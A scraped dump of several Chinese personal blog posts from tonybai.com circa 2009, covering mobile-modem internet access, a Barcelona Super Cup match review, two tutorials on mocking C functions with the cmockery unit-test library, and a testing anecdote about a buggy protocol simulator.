到北京出差，途中在动车上看到他把本子连到Nokia手机上并通过\u003ca href=\"http://tonybai.com/2008/01/25/writing-blog-through-mobile-phone/\"\u003e手机上网\u003c/a\u003e。现如今通过手机上网也不是什么新鲜事，关键看是否需要。平时上班有公司网络，下班家里有宽带，路途中可通过手机直接浏览WAP站点，所以对于我这样的开发人员而言倒是没有特别充分的让本子通过做MODEM的手机上网的需求。\u003c/p\u003e\n\u003cp\u003e公司信息安全改造屏蔽了外部的许多站点，其中包括BLOGBUS，而且目前BUS不支持WAP浏览。这让我在白天闲暇时维护自己的博客成为了一件困难事，就这样我也有了通过手机MODEM实现电脑无线上网的需求。当然出差途中也可以通过这种方式处理一些紧急事件。\u003c/p\u003e","title":"手机做MODEM实现无线上网"},{"content":"北京时间2009年8月29日凌晨，“四冠王”球队巴塞罗那在法国摩纳哥路易二世球场有惊无险的拿到了2009年的第五座冠军奖杯-2009年欧洲超级杯，重演了里历史上的库巴 拉时代“五冠王”奇迹，甚至奖杯分量要远超历史上的那个时代的“五冠王”，但明眼人都清楚本场比赛是巴萨在2009年多项赛事决赛中打的“最难看”也最艰 难的一次，这个冠军让现场和全世界电视机前的球迷足足等待了116分钟。\n瓜迪奥拉不出预料的派上了除了伤停的小白和马科斯之外的巴萨全部 主力阵容，最让大家期待的还是新三叉戟“亨利-伊布-梅西”的表演。2008-09赛季“亨利-埃托奥-梅西”的三叉戟可谓是打遍欧洲无敌手，埃托奥走 后，新三叉戟能否延续进球的势头是摆在所有人面前的一个问号，要知道本赛季前的热身比赛以及甘伯杯、西班牙超级杯中，只有梅西的表现依旧惊艳，其他两位亨 利和伊布目前还没有进球。当然亨利有伤在身，伊布初来咋到都可以被称之为不进球的理由。但是球迷们和媒体能有多少耐心呢。\n本场比赛伊布绝 对是焦点，而且被寄予厚望。上半场在中锋位置上的伊布也表现的很积极，奔跑也很多。但是给人一个感觉就是与巴萨其他球员的节奏明显不一样，配合也生疏的 很。丝毫没有梅西和埃托奥或者梅西与亨利、哈维、伊涅斯塔那种心领神会。而且大个子伊布不断的丢球和被抢断。下面的几个时刻也许是伊布让巴萨球迷不满的重 要原因：\n1、巴萨左路突破，底线传中，伊布居然没有在他应该在的位置上，镜头显示他还在后面慢悠悠的向前跑；\n2、两次后场发起进攻后，作为中锋的伊布居然原地站定，明显摆出此次进攻我不参与，你们自己“玩”的架势；\n3、伊布在左边路一次哗众取宠的蝎子摆尾的身后传球居然直接出了边线\n伊布的表现让人们不禁怀念起了埃托奥，同时也对今夏巴萨此次大手笔的转会交易发出了质疑：伊布真能提高巴萨的进攻实力么？回顾2008-09赛季的巴萨的进攻，能让大家诟病的应该有两点：1、破类似切尔西那种铁桶阵时办法不多 2、进攻效率偏低\n媒体评述伊布的加盟会给巴萨带来进攻模式上的多变，起码禁区有一个高点，但是别忘了伊布最擅长、最喜欢的还是脚下球，从本场比赛来看，矿工队的防守与切尔西及其类似，但有了伊布的巴萨在90分中内依然没有办法敲开对手大门，甚至进攻流畅程度还不如埃托奥时代。\n再 说效率：本场的技术统计：巴萨23次射门，10个角球，其中对手角球数为0。在这么多机会面前，巴萨仅仅取得一个进球。效率依然底下。众人眼中埃托奥往往 是比赛的“开罐器”，但是似乎伊布无法继承这一特点，所以从效率上伊布也没能给巴萨带来实质上的提升，甚至可能让巴萨的进攻效率有所下降。\n在 意甲，伊布喜欢单打独斗，个人带球。但是在讲究小范围快速而精致配合的巴萨，伊布还没有表现出这方面的优势，也许还需要时间。而反观埃托奥这种类型的前锋 却能迅速适应国米，可见国米的技术细腻性要远逊于巴萨，要知道在巴萨老三叉戟中，埃托奥的技术细腻性要逊于亨利和梅西。\n说完伊布，说梅西。刚刚获得了上赛季欧足联最佳球员和最佳前锋的梅西毫无疑问已经是巴萨进攻战术无可争议的核心，同时他也是巴萨进攻中最具威胁的球员，本场比赛再次证明 了这一点，在伊布和亨利都没法给对方施加压力的时候，我们看到的是满场飞奔和突破的梅西，巴萨几次最具威胁的突破和射门都来自梅西。而实际从比赛的进程上 来看，梅西本场踢的很郁闷，前场失去了熟悉的埃托奥，与伊布尝试几次配合后都已后者的失误而告终，梅西无奈之下只能选择独自突破。但在对方的严防死守的铁 桶阵下，这种单一的进攻模式只能让梅西不断增加挫折感和急躁情绪。不过今天的梅西坚强的意志和对荣誉渴求让梅西笑到了最后，第116分钟梅西在禁区送出了 神奇的助攻帮助佩德罗完成致命一击。这不能不让人联想起本年度欧冠半决赛客场对阵切尔西的比赛中梅西为伊涅斯塔送出的那次助攻，不过在我看来，两者有不 同。对阵切尔西那次年轻的梅西事后承认他当时基本已经失去信心了，以为07-08赛季的悲剧会重演，送出那脚助攻时被动因素占据较多，没想到伊涅斯塔神灵 附体，居然能打进那个神奇的制胜金球。而本场梅西的助攻是完全是坚强意志驱使的，就是想在120分钟之内拿下比赛，就是要赢得欧洲超级杯。助攻很精妙，佩 德罗也不负众望。\n佩德罗本赛季状态很好，在多场关键的比赛中都有关键入球，在伊布尚未融入球队，亨利没有恢复上佳状态的情况下，佩德罗绝对是瓜帅手中重要的一张牌。\n三天后，巴萨将迎来西甲首战，虽然对手是较弱的希洪竞技，但梅西缺席首仗，伊布无法融入球队，亨利迟迟不能取得进球，这些问题也足以让瓜帅头疼不已的。留给瓜帅总结和解决问题的时间不多了，让我们拭目以待吧。\n梅西手捧欧洲超级杯\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/08/29/europe-super-champion/","summary":"\u003cp\u003e北京时间2009年8月29日凌晨，“四冠王”球队巴塞罗那在法国摩纳哥路易二世球场有惊无险的拿到了2009年的第五座冠军奖杯-2009年欧洲超级杯，重演了里历史上的库巴 拉时代“五冠王”奇迹，甚至奖杯分量要远超历史上的那个时代的“五冠王”，但明眼人都清楚本场比赛是巴萨在2009年多项赛事决赛中打的“最难看”也最艰 难的一次，这个冠军让现场和全世界电视机前的球迷足足等待了116分钟。\u003c/p\u003e","title":"梅西·坚强意志赢欧超级杯"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2009/08/28/europe-best-player/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"梅西·荣膺欧足联最佳球员"},{"content":"近两天一有空就会去看看项目代码，思考一下如何利用cmockery对项目里已有的代码进行测试。项目代码中很多被调用的接口都带有输出参数，而且在这些接口中多利用返回值指示执行成败也否，而利用输出参数返回一些关键结果，这些结果值甚至影响着后续的函数执行流程。前期研究cmockery时没有注意到cmockery是否可以设置被mock接口的输出参数的值，不过回顾了一下cmockery实现的原理，觉得cmockery是应该可以支持的。遂重新翻看了一下cmockery的manual，发现在mock_query_database中确有对输出参数的mock调用，代码如下：\n// Mock query database function.\nunsigned int mock_query_database( DatabaseConnection* const connection,\nconst char * const query_string, void *** const results)\n{\n*results = (void**)mock();\nreturn (unsigned int)mock();\n}\nvoid test_get_customer_id_by_name(void **state) {\nDatabaseConnection connection = { \u0026ldquo;somedatabase.somewhere.com\u0026rdquo;, 12345678, mock_query_database };\nint customer_ids = 543;\nwill_return(mock_query_database, \u0026amp;customer_ids);\nwill_return(mock_query_database, 1);\nassert_int_equal(get_customer_id_by_name(\u0026amp;connection, \u0026ldquo;john doe\u0026rdquo;), 543);\n}\n上面代码在test_get_customer_id_by_name中两次针对被mock的接口mock_query_database调用will_return，实际上是在符号“mock_query_database”对应的value list里插入了两个item，第一个item的值为\u0026amp;customer_ids，第二个为1。当测试执行到mock_query_database的第一个mock时，返回第一个item：\u0026amp;customer_ids，执行到第二个mock时返回第二个item的值1。这样在测试过程中设置输出参数值的目的就达到了。\n在使用cmockery时唯一需要你关注的就是will_return设置的顺序和在被mock接口中调用mock的顺序，切记不要弄反了。\n这里再举一个例子，再直观感受一下：\n/* message_handler.c */\n#include\nextern int dispatch_message(void *msg);\nextern int get_next_message(void **msg);\nint handle_next_message() {\nvoid * temp_msg = NULL;\nint rv = 0;\nrv = get_next_message(\u0026amp;temp_msg);\nif (!rv) { if (!temp_msg) { return -1;\n} else { return dispatch_message(temp_msg);\n}\n}\nreturn rv;\n}\n/* test_message_handler.c */\n#include\n#include\n#include\n#include \u0026ldquo;cmockery.h\u0026rdquo;\n#include\nint dispatch_message(void *msg) {\nreturn 0;\n}\nint get_next_message(void **msg) {\n(*msg) = (void*)mock();\nreturn (int)mock();\n}\nextern int handle_next_message();\nvoid test_handle_next_message_success(void **state) {\nwill_return(get_next_message, 0×1234);\nwill_return(get_next_message, 0);\nassert_true(handle_next_message() == 0);\n}\nvoid test_handle_next_message_fail(void **state) {\nwill_return(get_next_message, NULL);\nwill_return(get_next_message, 0);\nassert_true(handle_next_message() == -1);\n}\nint main() {\nconst UnitTest tests[] = {\nunit_test(test_handle_next_message_success),\nunit_test(test_handle_next_message_fail)\n};\nreturn run_tests(tests);\n}\n执行结果：\ntest_handle_next_message_success: Starting test\ntest_handle_next_message_success: Test completed successfully.\ntest_handle_next_message_fail: Starting test\ntest_handle_next_message_fail: Test completed successfully.\nAll 2 tests passed\n","permalink":"https://tonybai.com/2009/08/26/cmockery-support-mocking-out-parameter/","summary":"\u003cp\u003e近两天一有空就会去看看项目代码，思考一下如何利用\u003ca href=\"http://tonybai.com/2009/08/22/introduce-cmockery-for-c-unit-test/\"\u003ecmockery\u003c/a\u003e对项目里已有的代码进行测试。项目代码中很多被调用的接口都带有输出参数，而且在这些接口中多利用返回值指示执行成败也否，而利用输出参数返回一些关键结果，这些结果值甚至影响着后续的函数执行流程。前期研究cmockery时没有注意到cmockery是否可以设置被mock接口的输出参数的值，不过回顾了一下cmockery实现的原理，觉得cmockery是应该可以支持的。遂重新翻看了一下cmockery的manual，发现在mock_query_database中确有对输出参数的mock调用，代码如下：\u003c/p\u003e\n\u003cp\u003e// Mock query database function.\u003cbr\u003e\nunsigned int mock_query_database( DatabaseConnection* const connection,\u003cbr\u003e\n                                 const char * const query_string, void *** const results)\u003cbr\u003e\n{\u003cbr\u003e\n *results = (void**)mock();\u003cbr\u003e\n return (unsigned int)mock();\u003cbr\u003e\n}\u003c/p\u003e\n\u003cp\u003evoid test_get_customer_id_by_name(void **state) {\u003cbr\u003e\n DatabaseConnection connection = { \u0026ldquo;somedatabase.somewhere.com\u0026rdquo;, 12345678, mock_query_database };\u003cbr\u003e\n int customer_ids = 543;\u003cbr\u003e\n will_return(mock_query_database, \u0026amp;customer_ids);\u003cbr\u003e\n will_return(mock_query_database, 1);\u003cbr\u003e\n assert_int_equal(get_customer_id_by_name(\u0026amp;connection, \u0026ldquo;john doe\u0026rdquo;), 543);\u003cbr\u003e\n}\u003c/p\u003e","title":"cmockery支持mock输出参数"},{"content":"这么久以来一直没有找到一款很好的支持mock测试的C语言单元测试工具包，但前不久在一网友的评论中得知：去年Google曾发布了一款c语言的轻量级单元测试framework — “cmockery”，cmcokery很小巧，对其他开源包没有依赖，对被测试代码侵入性小；它支持mock test，同样也可以支持常规的单元测试。\n之前在博客中曾描述过C语言实现mock的一个思路，不过和cmockery对比起来，当时我的思路显然还处于初级阶段，而cmockery则走到了更高级，使用起来也更为简便。\n还是以我上一篇文章中的代码来举例，利用cmockery来对biz.c进行mock test。\n应用层被测试代码不变：\n/* biz.h */\n#ifndef BIZ_H\n#define BIZ_H\n#include\nint biz_operation(char *fname);\n#endif\n/* biz.c */\n#include \u0026ldquo;biz.h\u0026rdquo;\nint biz_operation(char *fname) {\nFILE *fp = NULL;\nfp = fopen(fname, \u0026ldquo;r\u0026rdquo;);\nif (fp == NULL) {\nprintf(\u0026ldquo;fail to open fle!\\n\u0026rdquo;);\nreturn 1;\n} else {\nprintf(\u0026ldquo;succeed to open file!\\n\u0026rdquo;);\nreturn 0;\n}\n}\n利用cmockery改造测试代码如下：\n/* test.c */\n#include\n#include\n#include\n#include\n#include \u0026ldquo;cmockery.h\u0026rdquo;\n#include \u0026ldquo;biz.h\u0026rdquo;\nFILE *fopen(const char *filename, const char *mode) {\nreturn (FILE*)mock();\n}\nvoid test_biz_operation_return_succ(void **state) {\nwill_return(fopen, 0×1234);\nassert_true(biz_operation(\u0026ldquo;foo.txt\u0026rdquo;) == 0);\n}\nvoid test_biz_operation_return_fail(void **state) {\nwill_return(fopen, NULL);\nassert_true(biz_operation(\u0026ldquo;foo.txt\u0026rdquo;) == 1);\n}\nint main() {\nconst UnitTest tests[] = {\nunit_test(test_biz_operation_return_succ),\nunit_test(test_biz_operation_return_fail),\n};\nreturn run_tests(tests);\n}\ngcc biz.c test.c -I ./ -I {YOUR_CMOCKERY_INSTALL_DIR}/include/google -L {YOUR_CMOCKERY_INSTALL_DIR}/lib -lcmockery\n执行a.out结果如下：\ntest_biz_operation_return_succ: Starting test\nsucceed to open file!\ntest_biz_operation_return_succ: Test completed successfully.\ntest_biz_operation_return_fail: Starting test\nfail to open fle!\ntest_biz_operation_return_fail: Test completed successfully.\nAll 2 tests passed\n在测试代码中override了C标准库中fopen的实现，代码很简单，就是调用一个mock，然后根据返回值类型做一个强制类型转换。那么执行\n起来后mock究竟会返回什么值呢？这个值你可以任意设定，看到下面test_biz_operation_return_xx中的\nwill_return宏了吗，在will_return中你可以设定fopen中mock()调用的返回值：will_return(fopen,\n0×1234)或will_return(fopen, NULL);\n是不是思路清晰了许多了呢，没错。cmockery就是通过在will_return中设置mock的返回值，并在执行fopen这类被mock的函数接\n口中通过接口实现中的mock调用将你设定的值返回出来，从而控制被测试接口biz_operation的执行路径和执行结果，以达到mock\ntest的目的。\ncmockery的源代码行数不到3K，你阅读一下will_return和mock的源代码就一目了然了。大致思路应\n该是：在堆上分配一块内存，用来存储你在will_return中设定的返回值，用函数名字符串做索引；在mock()中则通过调用mock的函数的名字\n去匹配，得到已经设定好的存储在堆内存上的那个值，并在转型后返回。\n以上是cmockery支持的对通用函数返回值的\nmock，cmockery还支持mock function的parameters checking、setup和teardown、assert\nfailure和dynamic memory allocation的mock等，cmockery的manual中\n有细致说明。不过原理都类似，在上面也都说过了。不过有些机制对被测试代码还是有一定侵入性的。cmockery虽好，但是毕竟是针对C语言的，就无法逃\n过链接阶段符号resolved的问题，测试上面简单的代码还好，如果测试大工程中某复杂源代码文件中的接口时，链接时就会有些麻烦，所以工程源代码组织\n的扁平化、接口功能单一化、包含和清晰的调用关系都会大大有助于实施mock单元测试，否则一旦你的biz_operation接口功能很复杂，调用了很\n多其他接口，实现很冗长的话，那么你的mock测试同样也会很麻烦，这时你需要做的就应该是重构你的代码，将复杂的biz_operation拆分开了。\n另外cmockery的安装很简单，遵循常规的configure-\u0026gt;make-\u0026gt;make install，这里不再贽述了。\n","permalink":"https://tonybai.com/2009/08/22/introduce-cmockery-for-c-unit-test/","summary":"\u003cp\u003e这么久以来一直没有找到一款很好的支持\u003ca href=\"http://tonybai.com/2008/04/12/mock-test-in-c-unit-test/\"\u003emock\u003c/a\u003e测试的\u003ca href=\"http://tonybai.com/2005/11/08/the-design-and-implementation-of-c-unittest-framework/\"\u003eC语言单元测试工具包\u003c/a\u003e，但前不久在一网友的评论中得知：去年Google曾发布了一款c语言的轻量级单元测试framework — “\u003ca href=\"http://cmockery.googlecode.com/\"\u003ecmockery\u003c/a\u003e”，cmcokery很小巧，对其他开源包没有依赖，对被测试代码侵入性小；它支持mock test，同样也可以支持常规的单元测试。\u003c/p\u003e\n\u003cp\u003e之前在博客中曾描述过\u003ca href=\"http://tonybai.com/2008/04/12/mock-test-in-c-unit-test/\"\u003eC语言实现mock\u003c/a\u003e的一个思路，不过和cmockery对比起来，当时我的思路显然还处于初级阶段，而cmockery则走到了更高级，使用起来也更为简便。\u003c/p\u003e\n\u003cp\u003e还是以我\u003ca href=\"http://tonybai.com/2008/04/12/mock-test-in-c-unit-test/\"\u003e上一篇文章\u003c/a\u003e中的代码来举例，利用cmockery来对biz.c进行mock test。\u003c/p\u003e\n\u003cp\u003e应用层被测试代码不变：\u003cbr\u003e\n/* biz.h */\u003cbr\u003e\n#ifndef BIZ_H\u003cbr\u003e\n#define BIZ_H\u003c/p\u003e","title":"C单元测试之使用cmockery"},{"content":"暑去清凉来，一场大雨让燥热一去不复返了，这让身体舒服了许多。本周四晚有一次产品升级操作，按惯例每次升级前的都会对产品做一次针对性的回归测试，这次也不例外，不过临近下班时测试组爆出一个莫名奇妙的问题。\n测试人员在BUG说明中写到：产品在只运行某个流程A的情况是正常的，但是当流程A和流程B一起运行时，就会出XX异常情况。作为开发人员遇到类似的问题第一反映多为：这怎么可能呢？这个产品已经经过N轮测试并且早前已在某个省份上线运行了近两个月，如果有此潜在的BUG应该早就暴露出来了才对。及时找到测试人员沟通，测试人员很轻松的就复现出了该BUG，眼见为实！离升级时间点已经不多了，赶紧解决吧。\n使用GDB在我认定的关键代码路径上设置了断点，对测试环境下的某进程进行调试，不过无论如何发消息，代码始终没有走到该断点，这让我疑惑不已。负责维护这段代码的开发人员恰参加培训回来，用她擅长的通过调试方法-“加打印语句”又进行了一次调试，发现一些端倪，消息并未按照我们预期的流程走，问题被缩小到消息包中的一个关键字段上，通过打印发现这一字段的值与预期的值不同。我的第一反映：是否有内存污染问题，如果真有这样的问题那就严重了，一直到此时我的怀疑点也一直在产品本身上。\n这时测试人员在屏幕上的抓包结果引起了我们的注意：消息包中这个字段的值与设置的不符。通过进一步在产品中的打印结果也印证了这一点。难道是模拟器的问题？记忆中模拟器已经用了一年多了，这个问题之前怎么没有暴露出来呢。我们立即换了一个其他的模拟器进行了测试，结果：流程正常。看来就是模拟器的问题了。\n据测试人员说以前未暴露出该问题很可能是因为之前的测试要么只测试A流程，或要么只测试B流程，很少A和B流程一起并行测试，所以这个模拟器陷阱就没有被发现。模拟器在A和B两个流程的共同作用下出现了内存污染的bug，，将A流程中的协议包中的一个重要字段设置错了，导致产品在处理该流程消息时未得出预期结果。\n这次的“模拟器陷阱”问题起码暴露出两个问题：\n1、缺少对新实现的模拟器正确性的完备测试；\n2、测试人员在用例设计上还有提高的余地，应避免只有单一场景的用例了。\n","permalink":"https://tonybai.com/2009/08/22/the-trap-of-simulator/","summary":"\u003cp\u003e暑去清凉来，一场大雨让\u003ca href=\"http://tonybai.com/2009/08/12/it-is-too-hot/\"\u003e燥热\u003c/a\u003e一去不复返了，这让身体舒服了许多。本周四晚有一次产品升级操作，按惯例每次升级前的都会对产品做一次针对性的回归测试，这次也不例外，不过临近下班时测试组爆出一个莫名奇妙的问题。\u003c/p\u003e\n\u003cp\u003e测试人员在BUG说明中写到：产品在只运行某个流程A的情况是正常的，但是当流程A和流程B一起运行时，就会出XX异常情况。作为开发人员遇到类似的问题第一反映多为：这怎么可能呢？这个产品已经经过N轮测试并且早前已在某个省份上线运行了近两个月，如果有此潜在的BUG应该早就暴露出来了才对。及时找到测试人员沟通，测试人员很轻松的就复现出了该BUG，眼见为实！离升级时间点已经不多了，赶紧解决吧。\u003c/p\u003e","title":"模拟器陷阱"},{"content":"记得一年前的六月份到北京客户那里开会，从Taxi里出来后，走在北京著名的金融街上，那叫一个热！夹杂着湿气的热浪一阵阵的扑面而来，让我浑身不舒服，豆粒大的汗珠瞬间就从额头、颈部流了下来。见识过北京糟糕的夏季天气的我当时心里还在庆幸：还好这是在北京，远在东北的沈阳可从来没有这么热过，起码没热的这么难受。\n不过好景不长，现在的沈阳与北京应该有一拼了。今年沈阳一改以往干爽怡人的夏日气候，自从入伏以来，连续近两周的高温湿热让沈阳的市民们苦不堪言。高温从早上七点就开始，一直能持续到夜间11点以后，这可热坏了上班族，早上要顶着高温